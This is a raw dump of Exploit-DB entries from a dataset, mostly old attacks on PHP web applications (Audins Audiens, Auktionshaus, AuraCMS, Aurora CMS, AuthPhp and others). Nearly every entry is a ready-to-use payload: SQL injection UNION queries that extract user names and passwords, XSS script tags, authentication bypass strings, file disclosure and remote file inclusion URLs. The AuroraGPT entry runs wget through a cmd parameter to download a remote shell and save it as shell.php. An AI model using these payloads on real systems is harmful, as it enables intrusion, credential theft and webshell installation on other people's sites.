deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29678
Description: Audins Audiens 3.3 - '/system/index.php?Cookie PHPSESSID' SQL Injection
Type: webapps
Platform: php
Date: 2007-02-26
Author: r00t

Exploit:
Audins Audiens is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied input.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, retrieve and overwrite sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
Audins Audiens version 3.3 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/system/index.php with PHPSESSID = '
Exploit-DB #29677
Description: Audins Audiens 3.3 - 'setup.php?PATH_INFO' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-26
Author: r00t

Exploit:
Audins Audiens is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, retrieve and overwrite sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
Audins Audiens version 3.3 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/setup.php/>"><ScRiPt>alert('XSS')%3B</ScRiPt>
Exploit-DB #29676
Description: Audins Audiens 3.3 - 'unistall.php' Authentication Bypass
Type: webapps
Platform: php
Date: 2007-02-26
Author: r00t

Exploit:
Audins Audiens is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, retrieve and overwrite sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Audins Audiens version 3.3 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/unistall.php?cnf=disinstalla&status=on
Exploit-DB #9041
Description: Audio Article Directory - 'file' Remote File Disclosure
Type: webapps
Platform: php
Date: 2009-06-29
Author: ThE g0bL!N

Exploit:
#################################################################################################################
[+] Audio Article Directory Remote File Disclosure Vulnerability
[+] Discovered By ThE g0bL!N
Vendor:http://audioarticledirectory.com
#################################################################################################################
Poc
---
Download.php
<?
$file = "./".$_GET['file']; => one
 header('Content-Description: File Transfer');
           header('Content-Type: application/force-download');
           header("Content-Disposition: attachment; filename=\"".basename($file)."\";");
           header('Content-Length: ' . filesize($file));
@readfile($file) OR die(); => 2
?>
Exploit
----
http://victim/download.php?file=download.php
http://victim/download.php?file=./passwords.php
Demo
----
http://audioarticledirectory.com/demo/download.php?file=./passwords.php
################################################################################################################

# milw0rm.com [2009-06-29]
Exploit-DB #3744
Description: audioCMS arash 0.1.4 - 'arashlib_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-15
Author: GoLd_M

Exploit:
# audioCMS arash 0.1.4(arashlib_dir)Remote File Inclusion Vulnerabilities
# D.Script: http://sourceforge.net/projects/arash/
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://Www.Tryag.Com/cc
# Exploit:[Path]/arash_lib/include/edit.inc.php?arashlib_dir=Shell
# Exploit:[Path]/arash_lib/include/list_features.inc.php?arashlib_dir=Shell
# Exploit:[Path]/arash_lib/class/arash_gadmin.class.php?arashlib_dir=Shell
# Exploit:[Path]/arash_lib/class/arash_sadmin.class.php?arashlib_dir=Shell
# Greetz To: Tryag.Com/cc & Dwrat.Com & Asb-May.Net/bb

# milw0rm.com [2007-04-15]
Exploit-DB #41551
Description: Audiojungle Clone Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Audiojungle Clone Script - SQL Injection
# Google Dork: N/A
# Date: 08.03.2017
# Vendor Homepage: http://bsetec.com/
# Software : http://audiojungleclone.bsetec.com/
# Demo: http://www.bsetecdemo.com/audiojungleclone
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/LastAdded/?by=[SQL]
# # # # #
Exploit-DB #11334
Description: Audistats 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-05
Author: kaMtiEz

Exploit:
###################################################################################
                                                                                  #
[~] Audistats SQL injection vulnerability - (mday)                                # 
[~] Author	: kaMtiEz (kamzcrew@yahoo.com)                                    #
[~] Homepage	: http://www.indonesiancoder.com                                  #
[~] Date	: January 29, 2010                                                #
                                                                                  #
###################################################################################

[ Software Information ]

[+] Vendor : http://adubus.free.fr/audistat/
[+] Download : http://adubus.free.fr/audistat/
[+] version : 1.3 or lower maybe also affected
[+] Vulnerability : SQL injection
[+] Dork : "Think iT"
[+] Price : -            
[+] Location : INDONESIA - JOGJA

##################################################################################


[ HERE WE GO .. LIVE FROM JOGJA CITY ]

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/?year=kaMtiEz&month=tukulesto&mday=[INDONESIANCODER]

[ Exploit ]

-666+union+all+select+@@version,user()--

[ Example ]

http://[server]/stats/?year=kaMtiEz&month=tukulesto&mday=-15+union+all+select+@@version,user()--

===========================================================================

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah,ibl13Z
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk,r3m1ck

[ NOTE ] 

[+] Belajar Belajar Dan Belajar !!
[+] Jack im commiinnggggggggggggggggggggggggggggggggg .. ^_^

[ QUOTE ]

[+] we are not dead INDONESIANCODER stil r0x
[+] nothing secure ..
Exploit-DB #11637
Description: Auktionshaus 3.0.0.1 - 'news.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-05
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : Auktionshaus 3.0.0.1 news.php (id) SQL Injection
+Autor : Easy Laster
+Price : 59.95€
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/auktionshaus/news.php?id=
+Exploitable   : www.site.com/auktionshaus/news.php?id=11111111+union+select+1,2,
concat(name,0x3a,password),4,5+from+users
-----------------------------------------------------------------------------------------
Exploit-DB #11487
Description: Auktionshaus 4 - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-17
Author: Easy Laster

Exploit:
 ########################################################################
 ##Auktionshaus V.4 SQL Injection news.php                             ##
 ########################################################################
 ########################################################################
 ## _                     _     _                   _                  ##
 ##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_                ##
 ##|  _| -_| .'|     |___| |   |  _| -_|  _|   | -_|  _|               ##
 ##|_| |___|__,|_|_|_|   |_|_|_|_| |___|_| |_|_|___|_|                 ##
 ##                                                                    ##
 ########################################################################
##########################################################################
#Script: Auktionshaus V.4]                                               #
#Vulnerabilities [ SQL Injection ]                                       #
#Language: [ PHP ]                                                       #
#Download: [ buy this script ]                                           #
#Founder: [ ea$y laster ]                                                #
#Peace to [ -tmh- ,0qwl ,Crypter ,Dr.ChAoS ,dremicz ,eddy14 ,HANNIBAL ]  #
#[ Lidloses_Auge ,n00bor, Rip ,Sens0r ,-=Player=-]                       #                                              #
#Price: [ Commercial License EUR 89,99                                   #
#DEMO : http://demo3.dolorez.de/                                         #
############################################################################
#http://server/news.php?id=-1+union+select+1,2,password,4,5+from+users--#                                        #
############################################################################
Exploit-DB #11488
Description: Auktionshaus Gelb 3 - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-17
Author: Easy Laster

Exploit:
 ########################################################################
 ##AuktionshausGelb V.3 SQL Injection news.php                         ##
 ########################################################################
 ########################################################################
 ## _                     _     _                   _                  ##
 ##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_                ##
 ##|  _| -_| .'|     |___| |   |  _| -_|  _|   | -_|  _|               ##
 ##|_| |___|__,|_|_|_|   |_|_|_|_| |___|_| |_|_|___|_|                 ##
 ##                                                                    ##
 ########################################################################
##########################################################################
#Script: Auktionshaus Gelb V.3                                           #
#Vulnerabilities [ SQL Injection ]                                       #
#Language: [ PHP ]                                                       #
#Download: [ buy this script ]                                           #
#Founder: [ ea$y laster ]                                                #
#Peace to [ -tmh- ,0qwl ,Crypter ,Dr.ChAoS ,dremicz ,eddy14 ,HANNIBAL ]  #
#[ Lidloses_Auge ,n00bor, Rip ,Sens0r ,-=Player=-]                       #
#Price: [ Commercial License EUR 249.90 €                                #
#DEMO : http://xmedien.e-ee.de/auktion3/                                 #
#############################################################################
#http://server/news.php?id=-1+union+select+1,2,password,4,5+from+users+--#
#############################################################################
Exploit-DB #15594
Description: AuraCMS 1.62 - 'pfd.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-11-22
Author: Don Tukulesto

Exploit:
-----------------------------------------------------------------------
AuraCMS (pfd.php) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author		: Arianom (arianom@indonesiancoder.com)
Homepage	: http://indonesiancoder.com
Vendor		: http://www.auracms.org/
Software	: AuraCMS Mod Block Statistik | http://iwan.or.id/download/lihat/1/2-1-6.html
Version		: 1.62
Date		: November 22, 2010
-----------------------------------------------------------------------



I.  POC & Exploit
-----------------------------------------------------------------------
http://localhost/pdf.php?id=140+AND+1=2+UNION+SELECT+ind0nesianc0der,1,2,3,4,5,6,7

II. Refrence
-----------------------------------------------------------------------
AuraCMS 1.62 (stat.php) Remote Code Execution Exploit  : http://www.exploit-db.com/exploits/4933/

III. Vendor patch
-----------------------------------------------------------------------
Currently manufacturers do not provide patches or upgrades.

IV. Credits
-----------------------------------------------------------------------
Allahu Akbar
INDONESIAN CODER ~ Kill-9 Crew ~ MC Crew 
Don Tukulesto ~ kaMtiEz ~ ibl13z ~ N4ck0 ~ Yurakha ~ aN93l1c ~  Mboys ~ Contrex ~  n4KuLa_ 
k4L0ng666 ~ Xr0b0t ~ kido ~ t3ll0 ~ cimpli ~ Pathloader

V. Poem
-----------------------------------------------------------------------
Kami adalah manusia biasa yang gemar belajar.
Kami suka mempelajari hal apa saja, termasuk sesuatu yang menurut orang lain aneh atau asing bagi mereka.
Kami disini hanya ingin berbagi, bukan untuk bersaing.

Indonesian Coder Family
Exploit-DB #31290
Description: AuraCMS 2.2 - 'lihatberita' Module SQL Injection
Type: webapps
Platform: php
Date: 2008-02-23
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27959/info

auraCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?pilih=lihatberita&id=-9999999/**/union/**/select/**/0,1,password,3,4,user,6/**/from/**/user/*where%20admin1/**
Exploit-DB #4254
Description: AuraCMS Forum Module - SQL Injection
Type: webapps
Platform: php
Date: 2007-08-05
Author: k1tk4t

Exploit:
########################################################################
# AuraCMS [Forum Module] - Remote SQL Injection
# Vendor        : http://auracms.org/
# Download      : http://iwan.or.id/redirect/download/36.html <-- Forum Module
# Found By      : k1tk4t - k1tk4t[4t]newhack.org
# Location      : Indonesia   --  #newhack[dot]org @irc.dal.net
# Dork          : inurl:"?pilih=forum"
########################################################################
file;
/forum/komentar.php

bug at line27-29;
select topikid, subjek, pengirim,reply, waktu, isi from ".$prefix."forum_topik where topikid=$id");

Variable $id tidak terfilter dengan baik sehingga bisa di manipulasi oleh user melalui browser
########################################################################

exploit;
http://localhost/AuraCMS/?pilih=forum&mod=yes&aksi=komentar&id=-9%20union%20select%201,user,id,4,email,password%20from%20user/*

Password dalam bentuk "base64_encode"

########################################################################
Thanks;
str0ke
xoron,
y3dips[y3d1ps.blogspot.com],
mathdule
iFX,x-ace,nyubi,
dan semua temen2 komunitas security&hacking
-----------------------
-newhack[dot]org|staff-
mR.opt1lc,fusion,fl3xu5,PusHm0v,Ghoz,bius,iind_id,slackX
-----------------------
all member newhack[ot]org
-----------------------
all member echo.or.id
-----------------------
all member www.yogyafree.net
-----------------------
all member www.sekuritionline.net
-----------------------
all member www.kecoak-elektronik.net
-----------------------
semua komunitas hacker&security Indonesia

# milw0rm.com [2007-08-05]
Exploit-DB #10609
Description: Aurora CMS - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-22
Author: Sora

Exploit:
# Exploit Title: Aurora CMS Remote SQL Injection Exploit [content.php]
# Date: December 22nd, 2009
# Author: Sora
# Software Link: http://www.auroracms.com.au/
# Version: 1.0, 2.0, and 3.0
# Tested on: Windows and Linux
------------------------------------------------
> Aurora CMS Remote SQL Injection Exploit
> Vulnerability in: content.php
> Found and disclosed by: Sora
> Contact: vhr95zw [at] hotmail.com

> Google dork: "Aurora CMS"

Aurora CMS suffers a remote SQL injection exploit in content.php.

The type is UNION statement SQL injection.

# Code: http://www.site.com/content.php?id=-5+UNION+SELECT+ALL+1,2,3,4,group_concat(Username,0x3a,Password)+from+Users--

# Greetz: Bw0mp, Popc0rn, Xermes, T3eS, Timeb0mb, [H]aruhiSuzumiya, and Revelation!
Exploit-DB #9656
Description: Aurora CMS 1.0.2 - 'install.plugin.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-09-14
Author: EA Ngel

Exploit:
---------------------------------------------------------------------------------------------------------------
Aurora Content Management System (Enterprise Edition) [install.plugin.php] <= Remote File Include Vulnerability 
---------------------------------------------------------------------------------------------------------------


**********************************************************************************************************************************
* [+] Author 		: EA Ngel                           									 *
* [+] Situs		: www[dot]manadocoding[dot]net										 *
* [+] Location		: Indonesia								                         	 *
* [+] Contact		: engelpemula[at]gmail[dot]com										 *
* [+] Download script	: http://biznetnetworks.dl.sourceforge.net/project/cronos/aurora/aurora_1.0.2/AURORA_1.0.2_stable.tar.gz *
*																 *															         *
**********************************************************************************************************************************


a. Dork 		: kreasikan otak-mu  :) 

b. Bug			: - install.plugin.php
                          - global $AURORA_MODULES_FOLDER;
                            require_once $AURORA_MODULES_FOLDER.'/install/classes/install.class.php';


[@] Exploit		: http://localhost/[path]/public_html/add-ons/modules/sysmanager/plugins/install.plugin.php?AURORA_MODULES_FOLDER=[moonlee.txt?]


[#] Special Thanks	: str0ke

    - manadocoding      : basix, cr4wl3r, Mr.C, cokiki, bl4ck_3n91n3, tonaas, night_prophet, blue_eye, angky_tatoki
                          g4pt3k, michel_taung, doniskynet, rezagmas, Mr.Crossbeam, bolodewo and friend's


    - Sekuritionline    : cyberlog, k1n9k0ng, fl3xu5, exnome, dbanie, d4rkz, setiawan, kujang_lapuk, jantap, k3nz0
                          and friend's   
                      
     
    - lain-lain         : akiko, steve_san, steve_diving, b0b0h0, yadiyauri, ipay, nTc, chawanua, S4NT4, my_wishdom
                          alan_sarante, jajack, chrezz,  wendyz, wishnu, kiddies, anjaz chux, is-mail, is-blank, P2, 
                          C6, missi, mizz, hygao, b1beh^p1nk, tasya, san-san and friend's


[/] Note		: NOW FAITH is the assurance (the confirmation, the title deed) of the things [we] hope for, 
                          being the proof of things [we] do not see and the conviction of their reality [faith perceiving 
                          as real fact what is not revealed to the senses].


===================================================================================================================================
= 13 September 2009 > Monalisa happy b'day!! may add up in everything, always close to God and wish u all the best. Jesus bless u =
===================================================================================================================================

# milw0rm.com [2009-09-14]
Exploit-DB #12155
Description: AuroraGPT 4.0 - Remote Code Execution
Type: webapps
Platform: php
Date: 2010-04-11
Author: Amoo Arash

Exploit:
# Title : AuroraGPT V4 RCE Vulnerability
# Author: Amoo Arash
# Date : 2010-04-11
# Version : 4

[~]######################################### InformatioN #############################################[~]

[~] Title : AuroraGPT V4 RCE Vulnerability
[~] Author : Amoo Arash

[~]######################################### ExploiT #############################################[~]

[~] Vulnerable File :

http://127.0.0.1/index.php?view=help&faq=1&ref&cmd=[Command]

[~] ExploiT :

wget example.com/shell.txt -O shell.php

[~] Example :

http://127.0.0.1/index.php?view=help&faq=11&ref&cmd=wget http://amooarash.persiangig.com/ash.txt -O shell.php


[~]######################################### FinisH :D #############################################[~]
Exploit-DB #28473
Description: Autentificator 2.01 - 'Aut_Verifica.Inc.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-09-02
Author: SirDarckCat

Exploit:
source: https://www.securityfocus.com/bid/19813/info

Autentificator is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 2.01 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/aut_verifica.inc.php?user='+[SQL]&pass=something
Exploit-DB #8033
Description: AuthPhp 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-02-10
Author: x0r

Exploit:
#########################################################################################
[0x01] Informations:

Name           : AuthPhp 1.0
Download       :
http://frankmancuso.ca/downloads/authphp/authphp-stable-1.0.zip
Vulnerability  : Auth Bypass
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/login.php

[Code]
{
	$username = $_POST['username'];
	$passwd = $_POST['passwd'];
	
	// Call mysql class
	$db = new db;
	$db->connect();
	$sql = "SELECT * FROM users WHERE username='$username' &&
[CREDENTIAL_REDACTED]' ";
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: ' or '1=1

########################################################################################

# milw0rm.com [2009-02-10]